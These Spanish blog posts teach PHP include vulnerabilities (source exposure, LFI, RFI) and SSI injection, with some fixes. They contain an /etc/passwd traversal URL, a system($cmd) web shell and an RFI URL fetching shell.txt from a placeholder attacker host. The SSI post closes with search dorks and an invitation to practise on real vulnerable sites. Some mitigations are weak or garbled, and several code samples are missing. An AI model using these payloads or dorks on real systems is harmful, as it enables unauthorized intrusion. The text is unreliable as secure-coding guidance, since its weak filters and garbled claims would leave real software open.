Mostrando entradas con la etiqueta includes. Mostrar todas las entradas
Mostrando entradas con la etiqueta includes. Mostrar todas las entradas

martes, 1 de abril de 2014

[Parte 5] Seguridad en PHP

Includes

Muchas veces en algun desarollo web utilizamos la inclusion de archivos, ya sea por que, el proyecto esta creciendo considerablemente, en este caso tambien se piensa la programacion orientada a objetos (POO)como alternativa, como dijimos en este caso veremos sobre incluir archivos y existen funciones para ello en PHP tal como include, require, y tambien estan include_once, require_once


Exposicion del codigo fuente

Como vimos en la parte 3 de seguridad en PHP mostrabamos una imagen en las credenciales de acceso de un archivo .inc, este tipo de exposicion es un problema de los mas frecuentes con includes... siendo asi los mayores problemas serian:

- archivos .inc como includes
- los archivos .inc se almacenan dentro de /www donde el publico los puede ver
- Apache no reconoce los archivos .inc como algun tipo de extension
- Apache tiene DefaultType configurado en text/plain

Con quiere decir que todo archivo .inc que incluyas dentro del directorio publico se vera como texto plano, y puede ser visto por cualquier persona.

Para solucionar este tipo de problemas... podriamos poner los archivos .inc fuera del directorio publico /www donde solo pueda ser visto por el administrador del sistema...

O tambien en lugar de ponerle extension .inc a un archivo ponerle extension .php, o simplemente denegar el acceso a este tipo de extensiones:

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
</Files>




Puerta trasera en URLs

Muchas veces en una aplicacion web no incluyen sesiones y lo unico que hacen es un include, por ejemplo:



Con esto como informacion_sensitiva.php se encuentra dentro de la raiz del documento (/www) entonces cualquier usuario puede acceder directamente a la url, donde puede haber informacion relevante o simplemente una seccion que no deberiamos de estar viendo.


Manipulacion en el nombre del archivo

Este es un tipo de vulnerabilidad tambien es llamada LFI, pueden encontrar un post acerca de ella en este mismo blog:

http://arthusu.blogspot.mx/2013/02/local-file-include-lfi.html


Siguiendo para explicar lo basico, digamos que tenemos un codigo como el siguiente:



En este ejemplo, se incluye una variable llamada username, la cual esta por metodo GET, la cual incluye archivos html, un ejemplo seria poner, en la url algo como:

http://ejemplo.com/index.php?username=acaelarchivo

Con esto se incluiria el archivo .html


Lo que pasa aqui es que podriamos recorrer directorios de manera que encontremos algunos datos que nosotros queramos incluir, por ejemplo:

http://ejemplo.com/index.php?username=../admin/usuarios

Lo cual en el codigo se veria algo como:



Lo que pasaria aqui es que si te das cuenta, solo estamos agregando archivos html, entonces este tipo de restriccion se puede evitar utiilizando nullbyte (), por ejemplo, quedaria mas o menos asi:

http://ejemplo.com/index.php?username=../etc/passwd

Lo cual nos daria como resultado el archivo passwd donde se encuentran todos los usuarios de un sistema linux.

Para evitar este tipo de vulnerabilidad podemos usar la funcion basename() e incluir los archivos en una carpeta includes/ de esta manera solo se incluiran los archivos de tal carpeta, la funcion basename() devuelve el componente de nombre de rastreo de la ruta...




Tambien podriamos hacer una inspeccion de la ruta:



La funcion realpath() nos devuelve el nombre de la ruta absoluta canonizado, en este caso si nuestra ruta es algo como: ./../../etc/passwd la ruta absoluta seria /etc/passwd.

La funcion pathinfo() devuelve informacion acerca de la ruta de un fichero, en el caso de opcion dirname, si tuviesemos la siguiente ruta: /www/htdocs/inc/lib.inc.php con la opcion dirname seleccionada nos daria como resultado solo el directorio... /www/htdocs/inc.


Inyeccion de codigo

Puede darse el caso de que en una inclusion, este habilitada la directiva allow_url_fopen() la cual nos permitiria incluir archivos de urls externas, con lo cual podriamos incluir nuestro archivo .php para que ejecute comandos, este tipo de inyeccion de codigo tambien esta conocido como Remote file inclusion (RFI) y ya no es tan comun como lo era antes.

En el caso de que fuera asi nosotros subimos un archivo a nuestro host, que puede contener algun codigo como:

<?php
  system($cmd);
?> 


El cual puedo incluir en la url de la siguiente manera:

http://[servidorvictima].com/index.php?pagina=http://[servidoratacante].com/shell.txt&&cmd=ls

Con lo cual estariamos ejecutando comandos...

Una forma de evitar esto, es desabilitar la directiva allow_url_fopen() o simplemente crear un script como el siguiente:

<?php
   $url = str_replace(array(':','.','/','\\'),'',$url);
   include_once($url);
?>
  


Referencias:

* Essential PHP Security
* Wikipedia
* PHP documentacion oficial

miércoles, 3 de abril de 2013

Inyeccion SSI (Server Side Includes)

Bueno la verdad no soy un experto en el tema pero es muy facil de comprenderlo... Antes de empezar a explicar la inyeccion empezare dando una breve explicacion de lo que trata SSI...

¿Que es SSI?

Server side includes... es una manera de mostrar contenido dinamico en una pagina web, sin necesidad de utilizar scripts, tales como: PHP,CGI,ASP,etc
Para poder usar Ssi es necesario hacer uso de las directivas que nos provee y tener activado en el servidor la opcion para poder utilizarlo.

¿Donde encontramos esta vulnerabilidad?

La vulnerabilidad se encuentra al activar SSI en el servidor en este ejemplo usaremos Apache como servidor....

 ¿Como activarlo?

Bueno en xampp (el que utilizaremos en este tutorial) y en muchas paginas web vienen activado por defecto muchas veces para los formatos con extension .shtml .... para ver un ejemplo editare el archivo httpd.conf viendo que viene por defecto activado para las paginas con extension .shtml:

Como puedes mirar en la imagen de ejemplo, tenemos
AddType text/html .shtml
es decir que si tu tienes archivos con la extension .shtml seran interpretados como archivos html
AddOutputFilter INCLUDES .shtml
quiere decir que filtrara la salida de todos los archivos shtml, si es que contienen las "directivas" de ssi, asi pudiendo ejecutar contenido dinamico :)

Entonces creo una pagina de ejemplo, llamada test_ssi.shtml:

Como puedes ver agrego un archivo html que seria puro contenido "estatico", pero al agregar algo como SSI (lo tengo activado para .shtml) como la fecha y hora local, al igual que ejecutar un comando para mostrar la lista de directorios esto ya vendria siendo contenido dinamico usando sus directivas, un poco mas adelante veremos la sintaxis y algunas directivas interesantes.....

El ejemplo anterior retorna un resultado como el siguiente:
Como puedes ver me ejecuta las directivas perfectamente....

Bueno antes de comenzar a mostrarles la inyeccion...

Sintaxis SSI y algunas de sus directivas

Su sintaxis es la siguiente:


Como puedes ver no es tan dificil ¿he? :P ya que es parecido a un comentario agregandole su etiqueta y parametros facil de usar :D

Algunas de sus directivas mas importantes son:
include,exec,echo...

Include= tiene los parametros file, direct o virtual y como te imaginas lo que hace es incluir archivos (html,scripts,txt,etc...) :D
Exec=tiene los parametros cgi o cmd, lo que hace esta directiva es ejecutar algun comando del sistema operativo o un script cgi.
Echo= tiene de parametro var esto nos permite mostrar variables de entorno algunas de ellas son: HTTP_USER_AGENT (navegador), LAST_MODIFIED (ultima vez que modifico el documento) HTTP_ACCEPT (el tipo de contenido que acepta nuestro navegador), si quieres mas informacion: http://es.wikipedia.org/wiki/Cabeceras_HTTP

Hay mas si quieren ver mas wikipedia :)

¿Como inyectamos?

Bueno la verdad es que para inyectar tiene que haber un "campo de entrada". Siempre que hay un campo de entrada puedes comprometer tu sitio a cualquier daño no obstante tambien te puede dar mucha diversion y paginas mas complejas como son twitter y facebook, google y youtube, etc...

Entonces ese campo para poder inyectarlo como el SSI es parecido a una etiqueta HTML podemos probar inyectando codigo html o javascript (XSS) de esta manera vamos a ver si podria ser vulnerado, en este caso ya no utilizare mas el html anterior sino utilizare un archivo PHP, para eso he configurado un archivo de configuracion .htaccess para que me acepte SSI en archivos PHP aunque no es necesario ya que PHP genera contenido dinamico pero es como parte de la Poc (Prueba de concepto)....

Aqui esta mi configuracion de mi .htaccess:

Y este es mi archivo vulnerable:

Como puedes ver no se filtra el campo d etexto prueba ni tampoco enviar, pero bueno en este caso prueba es el que nos interesa por que lo que hace es mostrar lo que le ingresemos dentro.... Como se veria la pagina seria:



Entonces un ejemplo muy muy basico de XSS es (sin comentarios lo puse asi por que me causaba problemas con blogger :P):



y el resultado al ingresarlo en el campo es el siguiente:

Como puedes ver es vulnerable a XSS, entonces ¿que pasaria si ingresamos alguna directiva de SSI? ya que como acepta codigo XSS que es inyectado en la pagina web, entonces podria aceptarnos una directiva :D

Entonces listemos los archivos del servidor:



En este caso como se que puedo inyectar XSS entonces formateo el texto con la etiqueta pre para que me formatee el texto al igual como me sale en la terminal :D


Y como vemos se ha ejecutado nuestro comando, entonces solo es cuestion de bajar la shell y tenemos control sobre el servidor :D, de todas maneras tenemos ejecucion de comandos remotamente (RCE) con lo que seria suficiente para algunos :P

¿Como lo solucionamos?

Simplemente validar bien la entrada soluciona el problema... para validar la entrada de este ejemplo:

En este caso como filtra cualquier codigo html o javascript que podamos inyectar, por ende no nos aceptaria la directiva sino que lo que haria es lo que "realmente queremos" mostrar lo que ingrese :D

Nota importante: Antes de que digan algo como dije PHP ya es dinamico entonces no es necesario que se incluya en archivos PHP pero podria haber un que otro .shtml vulnerable por ahi... y no solo eso sino cualquier campo de entrada que pueda o no mostrarse en la pagina web y que lo interprete el archivo o web que utilizamos puede ser vulnerado mientras SSI este activado, en ese caso si no lo utilizas y haces alguna de estas cosas puedes "desactivarlo" borrando las entradas anteriores :D

Si quieren practicarlo pueden usar alguna tecnica de buscadores para encontrar alguna que otra web vulnerable, recuerden que al principio dije que muchas veces viene activado por defecto en archivos .shtml y bueno casi siempre cuando hacen algun ejemplo de XSS es en un buscador, login o campo de entrada :P

Lista de dorks:
inurl:bin/Cklb/ 
inurl:login.shtml
inurl:login.shtm
inurl:login.stm
inurl:search.shtml
inurl:search.shtm
inurl:search.stm
inurl:forgot.shtml
inurl:forgot.shtm
inurl:forgot.stm
inurl:register.shtml
inurl:register.shtm
inurl:register.stm
inurl:login.shtml?page=

Espero que les haya sido de utilidad este tuto, si les gusto comenten no sean trolls jajaja :P